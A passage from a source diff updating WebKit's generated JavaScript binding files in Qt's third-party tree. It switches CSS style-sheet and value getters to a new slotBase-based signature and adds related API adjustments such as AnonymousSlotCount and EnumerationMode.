-    { "constructor", DontEnum|ReadOnly, (intptr_t)jsCSSStyleSheetConstructor, (intptr_t)0 },
+    { "ownerRule", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSStyleSheetOwnerRule), (intptr_t)0 },
+    { "cssRules", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSStyleSheetCssRules), (intptr_t)0 },
+    { "rules", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSStyleSheetRules), (intptr_t)0 },
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSStyleSheetConstructor), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -82,7 +82,7 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
     
 protected:
@@ -105,10 +105,10 @@ bool JSCSSStyleSheetConstructor::getOwnPropertyDescriptor(ExecState* exec, const
 
 static const HashTableValue JSCSSStyleSheetPrototypeTableValues[5] =
 {
-    { "insertRule", DontDelete|Function, (intptr_t)jsCSSStyleSheetPrototypeFunctionInsertRule, (intptr_t)2 },
-    { "deleteRule", DontDelete|Function, (intptr_t)jsCSSStyleSheetPrototypeFunctionDeleteRule, (intptr_t)1 },
-    { "addRule", DontDelete|Function, (intptr_t)jsCSSStyleSheetPrototypeFunctionAddRule, (intptr_t)3 },
-    { "removeRule", DontDelete|Function, (intptr_t)jsCSSStyleSheetPrototypeFunctionRemoveRule, (intptr_t)1 },
+    { "insertRule", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCSSStyleSheetPrototypeFunctionInsertRule), (intptr_t)2 },
+    { "deleteRule", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCSSStyleSheetPrototypeFunctionDeleteRule), (intptr_t)1 },
+    { "addRule", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCSSStyleSheetPrototypeFunctionAddRule), (intptr_t)3 },
+    { "removeRule", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCSSStyleSheetPrototypeFunctionRemoveRule), (intptr_t)1 },
     { 0, 0, 0, 0 }
 };
 
@@ -158,33 +158,36 @@ bool JSCSSStyleSheet::getOwnPropertyDescriptor(ExecState* exec, const Identifier
     return getStaticValueDescriptor<JSCSSStyleSheet, Base>(exec, &JSCSSStyleSheetTable, this, propertyName, descriptor);
 }
 
-JSValue jsCSSStyleSheetOwnerRule(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSStyleSheetOwnerRule(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSStyleSheet* castedThis = static_cast<JSCSSStyleSheet*>(asObject(slot.slotBase()));
+    JSCSSStyleSheet* castedThis = static_cast<JSCSSStyleSheet*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CSSStyleSheet* imp = static_cast<CSSStyleSheet*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->ownerRule()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->ownerRule()));
+    return result;
 }
 
-JSValue jsCSSStyleSheetCssRules(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSStyleSheetCssRules(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSStyleSheet* castedThis = static_cast<JSCSSStyleSheet*>(asObject(slot.slotBase()));
+    JSCSSStyleSheet* castedThis = static_cast<JSCSSStyleSheet*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CSSStyleSheet* imp = static_cast<CSSStyleSheet*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->cssRules()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->cssRules()));
+    return result;
 }
 
-JSValue jsCSSStyleSheetRules(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSStyleSheetRules(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSStyleSheet* castedThis = static_cast<JSCSSStyleSheet*>(asObject(slot.slotBase()));
+    JSCSSStyleSheet* castedThis = static_cast<JSCSSStyleSheet*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CSSStyleSheet* imp = static_cast<CSSStyleSheet*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->rules()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->rules()));
+    return result;
 }
 
-JSValue jsCSSStyleSheetConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSStyleSheetConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSStyleSheet* domObject = static_cast<JSCSSStyleSheet*>(asObject(slot.slotBase()));
+    JSCSSStyleSheet* domObject = static_cast<JSCSSStyleSheet*>(asObject(slotBase));
     return JSCSSStyleSheet::getConstructor(exec, domObject->globalObject());
 }
 JSValue JSCSSStyleSheet::getConstructor(ExecState* exec, JSGlobalObject* globalObject)
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCSSStyleSheet.h b/src/3rdparty/webkit/WebCore/generated/JSCSSStyleSheet.h
index 4df8ea3..a577b0b 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCSSStyleSheet.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSCSSStyleSheet.h
@@ -39,7 +39,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);
@@ -58,7 +58,7 @@ public:
     virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&);
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSCSSStyleSheetPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -73,10 +73,10 @@ JSC::JSValue JSC_HOST_CALL jsCSSStyleSheetPrototypeFunctionAddRule(JSC::ExecStat
 JSC::JSValue JSC_HOST_CALL jsCSSStyleSheetPrototypeFunctionRemoveRule(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
 // Attributes
 
-JSC::JSValue jsCSSStyleSheetOwnerRule(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSStyleSheetCssRules(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSStyleSheetRules(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSStyleSheetConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCSSStyleSheetOwnerRule(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSStyleSheetCssRules(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSStyleSheetRules(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSStyleSheetConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCSSValue.cpp b/src/3rdparty/webkit/WebCore/generated/JSCSSValue.cpp
index 1cb1b75..bd0d768 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCSSValue.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSCSSValue.cpp
@@ -36,9 +36,9 @@ ASSERT_CLASS_FITS_IN_CELL(JSCSSValue);
 
 static const HashTableValue JSCSSValueTableValues[4] =
 {
-    { "cssText", DontDelete, (intptr_t)jsCSSValueCssText, (intptr_t)setJSCSSValueCssText },
-    { "cssValueType", DontDelete|ReadOnly, (intptr_t)jsCSSValueCssValueType, (intptr_t)0 },
-    { "constructor", DontEnum|ReadOnly, (intptr_t)jsCSSValueConstructor, (intptr_t)0 },
+    { "cssText", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSValueCssText), (intptr_t)setJSCSSValueCssText },
+    { "cssValueType", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSValueCssValueType), (intptr_t)0 },
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSValueConstructor), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -53,10 +53,10 @@ static JSC_CONST_HASHTABLE HashTable JSCSSValueTable =
 
 static const HashTableValue JSCSSValueConstructorTableValues[5] =
 {
-    { "CSS_INHERIT", DontDelete|ReadOnly, (intptr_t)jsCSSValueCSS_INHERIT, (intptr_t)0 },
-    { "CSS_PRIMITIVE_VALUE", DontDelete|ReadOnly, (intptr_t)jsCSSValueCSS_PRIMITIVE_VALUE, (intptr_t)0 },
-    { "CSS_VALUE_LIST", DontDelete|ReadOnly, (intptr_t)jsCSSValueCSS_VALUE_LIST, (intptr_t)0 },
-    { "CSS_CUSTOM", DontDelete|ReadOnly, (intptr_t)jsCSSValueCSS_CUSTOM, (intptr_t)0 },
+    { "CSS_INHERIT", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSValueCSS_INHERIT), (intptr_t)0 },
+    { "CSS_PRIMITIVE_VALUE", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSValueCSS_PRIMITIVE_VALUE), (intptr_t)0 },
+    { "CSS_VALUE_LIST", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSValueCSS_VALUE_LIST), (intptr_t)0 },
+    { "CSS_CUSTOM", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSValueCSS_CUSTOM), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -81,7 +81,7 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
     
 protected:
@@ -104,10 +104,10 @@ bool JSCSSValueConstructor::getOwnPropertyDescriptor(ExecState* exec, const Iden
 
 static const HashTableValue JSCSSValuePrototypeTableValues[5] =
 {
-    { "CSS_INHERIT", DontDelete|ReadOnly, (intptr_t)jsCSSValueCSS_INHERIT, (intptr_t)0 },
-    { "CSS_PRIMITIVE_VALUE", DontDelete|ReadOnly, (intptr_t)jsCSSValueCSS_PRIMITIVE_VALUE, (intptr_t)0 },
-    { "CSS_VALUE_LIST", DontDelete|ReadOnly, (intptr_t)jsCSSValueCSS_VALUE_LIST, (intptr_t)0 },
-    { "CSS_CUSTOM", DontDelete|ReadOnly, (intptr_t)jsCSSValueCSS_CUSTOM, (intptr_t)0 },
+    { "CSS_INHERIT", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSValueCSS_INHERIT), (intptr_t)0 },
+    { "CSS_PRIMITIVE_VALUE", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSValueCSS_PRIMITIVE_VALUE), (intptr_t)0 },
+    { "CSS_VALUE_LIST", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSValueCSS_VALUE_LIST), (intptr_t)0 },
+    { "CSS_CUSTOM", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSValueCSS_CUSTOM), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -163,25 +163,27 @@ bool JSCSSValue::getOwnPropertyDescriptor(ExecState* exec, const Identifier& pro
     return getStaticValueDescriptor<JSCSSValue, Base>(exec, &JSCSSValueTable, this, propertyName, descriptor);
 }
 
-JSValue jsCSSValueCssText(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSValueCssText(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSValue* castedThis = static_cast<JSCSSValue*>(asObject(slot.slotBase()));
+    JSCSSValue* castedThis = static_cast<JSCSSValue*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CSSValue* imp = static_cast<CSSValue*>(castedThis->impl());
-    return jsStringOrNull(exec, imp->cssText());
+    JSValue result = jsStringOrNull(exec, imp->cssText());
+    return result;
 }
 
-JSValue jsCSSValueCssValueType(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSValueCssValueType(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSValue* castedThis = static_cast<JSCSSValue*>(asObject(slot.slotBase()));
+    JSCSSValue* castedThis = static_cast<JSCSSValue*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CSSValue* imp = static_cast<CSSValue*>(castedThis->impl());
-    return jsNumber(exec, imp->cssValueType());
+    JSValue result = jsNumber(exec, imp->cssValueType());
+    return result;
 }
 
-JSValue jsCSSValueConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSValueConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSValue* domObject = static_cast<JSCSSValue*>(asObject(slot.slotBase()));
+    JSCSSValue* domObject = static_cast<JSCSSValue*>(asObject(slotBase));
     return JSCSSValue::getConstructor(exec, domObject->globalObject());
 }
 void JSCSSValue::put(ExecState* exec, const Identifier& propertyName, JSValue value, PutPropertySlot& slot)
@@ -191,7 +193,8 @@ void JSCSSValue::put(ExecState* exec, const Identifier& propertyName, JSValue va
 
 void setJSCSSValueCssText(ExecState* exec, JSObject* thisObject, JSValue value)
 {
-    CSSValue* imp = static_cast<CSSValue*>(static_cast<JSCSSValue*>(thisObject)->impl());
+    JSCSSValue* castedThisObj = static_cast<JSCSSValue*>(thisObject);
+    CSSValue* imp = static_cast<CSSValue*>(castedThisObj->impl());
     ExceptionCode ec = 0;
     imp->setCssText(valueToStringWithNullCheck(exec, value), ec);
     setDOMException(exec, ec);
@@ -204,22 +207,22 @@ JSValue JSCSSValue::getConstructor(ExecState* exec, JSGlobalObject* globalObject
 
 // Constant getters
 
-JSValue jsCSSValueCSS_INHERIT(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsCSSValueCSS_INHERIT(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(0));
 }
 
-JSValue jsCSSValueCSS_PRIMITIVE_VALUE(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsCSSValueCSS_PRIMITIVE_VALUE(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(1));
 }
 
-JSValue jsCSSValueCSS_VALUE_LIST(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsCSSValueCSS_VALUE_LIST(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(2));
 }
 
-JSValue jsCSSValueCSS_CUSTOM(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsCSSValueCSS_CUSTOM(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(3));
 }
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCSSValue.h b/src/3rdparty/webkit/WebCore/generated/JSCSSValue.h
index cd54be1..25d6435 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCSSValue.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSCSSValue.h
@@ -21,7 +21,6 @@
 #ifndef JSCSSValue_h
 #define JSCSSValue_h
 
-#include "DOMObjectWithSVGContext.h"
 #include "JSDOMBinding.h"
 #include <runtime/JSGlobalObject.h>
 #include <runtime/ObjectPrototype.h>
@@ -44,7 +43,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);
@@ -69,7 +68,7 @@ public:
     virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&);
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSCSSValuePrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -78,16 +77,16 @@ protected:
 
 // Attributes
 
-JSC::JSValue jsCSSValueCssText(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCSSValueCssText(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSCSSValueCssText(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsCSSValueCssValueType(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSValueConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCSSValueCssValueType(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSValueConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 // Constants
 
-JSC::JSValue jsCSSValueCSS_INHERIT(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSValueCSS_PRIMITIVE_VALUE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSValueCSS_VALUE_LIST(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSValueCSS_CUSTOM(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCSSValueCSS_INHERIT(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSValueCSS_PRIMITIVE_VALUE(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSValueCSS_VALUE_LIST(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSValueCSS_CUSTOM(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCSSValueList.cpp b/src/3rdparty/webkit/WebCore/generated/JSCSSValueList.cpp
index 3e78786..eb00df5 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCSSValueList.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSCSSValueList.cpp
@@ -39,8 +39,8 @@ ASSERT_CLASS_FITS_IN_CELL(JSCSSValueList);
 
 static const HashTableValue JSCSSValueListTableValues[3] =
 {
-    { "length", DontDelete|ReadOnly, (intptr_t)jsCSSValueListLength, (intptr_t)0 },
-    { "constructor", DontEnum|ReadOnly, (intptr_t)jsCSSValueListConstructor, (intptr_t)0 },
+    { "length", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSValueListLength), (intptr_t)0 },
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSValueListConstructor), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -79,7 +79,7 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
     
 protected:
@@ -102,7 +102,7 @@ bool JSCSSValueListConstructor::getOwnPropertyDescriptor(ExecState* exec, const
 
 static const HashTableValue JSCSSValueListPrototypeTableValues[2] =
 {
-    { "item", DontDelete|Function, (intptr_t)jsCSSValueListPrototypeFunctionItem, (intptr_t)1 },
+    { "item", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCSSValueListPrototypeFunctionItem), (intptr_t)1 },
     { 0, 0, 0, 0 }
 };
 
@@ -187,24 +187,25 @@ bool JSCSSValueList::getOwnPropertySlot(ExecState* exec, unsigned propertyName,
     return getOwnPropertySlot(exec, Identifier::from(exec, propertyName), slot);
 }
 
-JSValue jsCSSValueListLength(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSValueListLength(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSValueList* castedThis = static_cast<JSCSSValueList*>(asObject(slot.slotBase()));
+    JSCSSValueList* castedThis = static_cast<JSCSSValueList*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CSSValueList* imp = static_cast<CSSValueList*>(castedThis->impl());
-    return jsNumber(exec, imp->length());
+    JSValue result = jsNumber(exec, imp->length());
+    return result;
 }
 
-JSValue jsCSSValueListConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSValueListConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSValueList* domObject = static_cast<JSCSSValueList*>(asObject(slot.slotBase()));
+    JSCSSValueList* domObject = static_cast<JSCSSValueList*>(asObject(slotBase));
     return JSCSSValueList::getConstructor(exec, domObject->globalObject());
 }
-void JSCSSValueList::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames)
+void JSCSSValueList::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames, EnumerationMode mode)
 {
     for (unsigned i = 0; i < static_cast<CSSValueList*>(impl())->length(); ++i)
         propertyNames.add(Identifier::from(exec, i));
-     Base::getOwnPropertyNames(exec, propertyNames);
+     Base::getOwnPropertyNames(exec, propertyNames, mode);
 }
 
 JSValue JSCSSValueList::getConstructor(ExecState* exec, JSGlobalObject* globalObject)
@@ -227,10 +228,10 @@ JSValue JSC_HOST_CALL jsCSSValueListPrototypeFunctionItem(ExecState* exec, JSObj
 }
 
 
-JSValue JSCSSValueList::indexGetter(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue JSCSSValueList::indexGetter(ExecState* exec, JSValue slotBase, unsigned index)
 {
-    JSCSSValueList* thisObj = static_cast<JSCSSValueList*>(asObject(slot.slotBase()));
-    return toJS(exec, thisObj->globalObject(), static_cast<CSSValueList*>(thisObj->impl())->item(slot.index()));
+    JSCSSValueList* thisObj = static_cast<JSCSSValueList*>(asObject(slotBase));
+    return toJS(exec, thisObj->globalObject(), static_cast<CSSValueList*>(thisObj->impl())->item(index));
 }
 
 }
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCSSValueList.h b/src/3rdparty/webkit/WebCore/generated/JSCSSValueList.h
index c57887e..9521200 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCSSValueList.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSCSSValueList.h
@@ -40,14 +40,14 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
-    virtual void getOwnPropertyNames(JSC::ExecState*, JSC::PropertyNameArray&);
+    virtual void getOwnPropertyNames(JSC::ExecState*, JSC::PropertyNameArray&, JSC::EnumerationMode mode = JSC::ExcludeDontEnumProperties);
     static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);
 protected:
     static const unsigned StructureFlags = JSC::OverridesGetPropertyNames | JSC::OverridesGetOwnPropertySlot | Base::StructureFlags;
-    static JSC::JSValue indexGetter(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+    static JSC::JSValue indexGetter(JSC::ExecState*, JSC::JSValue, unsigned);
 };
 
 
@@ -61,7 +61,7 @@ public:
     virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&);
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSCSSValueListPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -73,8 +73,8 @@ protected:
 JSC::JSValue JSC_HOST_CALL jsCSSValueListPrototypeFunctionItem(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
 // Attributes
 
-JSC::JSValue jsCSSValueListLength(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSValueListConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCSSValueListLength(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSValueListConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCSSVariablesDeclaration.cpp b/src/3rdparty/webkit/WebCore/generated/JSCSSVariablesDeclaration.cpp
index 975d56d..be86d72 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCSSVariablesDeclaration.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSCSSVariablesDeclaration.cpp
@@ -41,10 +41,10 @@ ASSERT_CLASS_FITS_IN_CELL(JSCSSVariablesDeclaration);
 
 static const HashTableValue JSCSSVariablesDeclarationTableValues[5] =
 {
-    { "cssText", DontDelete, (intptr_t)jsCSSVariablesDeclarationCssText, (intptr_t)setJSCSSVariablesDeclarationCssText },
-    { "length", DontDelete|ReadOnly, (intptr_t)jsCSSVariablesDeclarationLength, (intptr_t)0 },
-    { "parentRule", DontDelete|ReadOnly, (intptr_t)jsCSSVariablesDeclarationParentRule, (intptr_t)0 },
-    { "constructor", DontEnum|ReadOnly, (intptr_t)jsCSSVariablesDeclarationConstructor, (intptr_t)0 },
+    { "cssText", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSVariablesDeclarationCssText), (intptr_t)setJSCSSVariablesDeclarationCssText },
+    { "length", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSVariablesDeclarationLength), (intptr_t)0 },
+    { "parentRule", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSVariablesDeclarationParentRule), (intptr_t)0 },
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSVariablesDeclarationConstructor), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -83,7 +83,7 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
     
 protected:
@@ -106,10 +106,10 @@ bool JSCSSVariablesDeclarationConstructor::getOwnPropertyDescriptor(ExecState* e
 
 static const HashTableValue JSCSSVariablesDeclarationPrototypeTableValues[5] =
 {
-    { "getVariableValue", DontDelete|Function, (intptr_t)jsCSSVariablesDeclarationPrototypeFunctionGetVariableValue, (intptr_t)1 },
-    { "removeVariable", DontDelete|Function, (intptr_t)jsCSSVariablesDeclarationPrototypeFunctionRemoveVariable, (intptr_t)1 },
-    { "setVariable", DontDelete|Function, (intptr_t)jsCSSVariablesDeclarationPrototypeFunctionSetVariable, (intptr_t)2 },
-    { "item", DontDelete|Function, (intptr_t)jsCSSVariablesDeclarationPrototypeFunctionItem, (intptr_t)1 },
+    { "getVariableValue", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCSSVariablesDeclarationPrototypeFunctionGetVariableValue), (intptr_t)1 },
+    { "removeVariable", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCSSVariablesDeclarationPrototypeFunctionRemoveVariable), (intptr_t)1 },
+    { "setVariable", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCSSVariablesDeclarationPrototypeFunctionSetVariable), (intptr_t)2 },
+    { "item", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCSSVariablesDeclarationPrototypeFunctionItem), (intptr_t)1 },
     { 0, 0, 0, 0 }
 };
 
@@ -164,7 +164,7 @@ bool JSCSSVariablesDeclaration::getOwnPropertySlot(ExecState* exec, const Identi
     }
     bool ok;
     unsigned index = propertyName.toUInt32(&ok, false);
-    if (ok && index < static_cast<CSSVariablesDeclaration*>(impl())->length()) {
+    if (ok) {
         slot.setCustomIndex(this, index, indexGetter);
         return true;
     }
@@ -200,33 +200,36 @@ bool JSCSSVariablesDeclaration::getOwnPropertySlot(ExecState* exec, unsigned pro
     return getOwnPropertySlot(exec, Identifier::from(exec, propertyName), slot);
 }
 
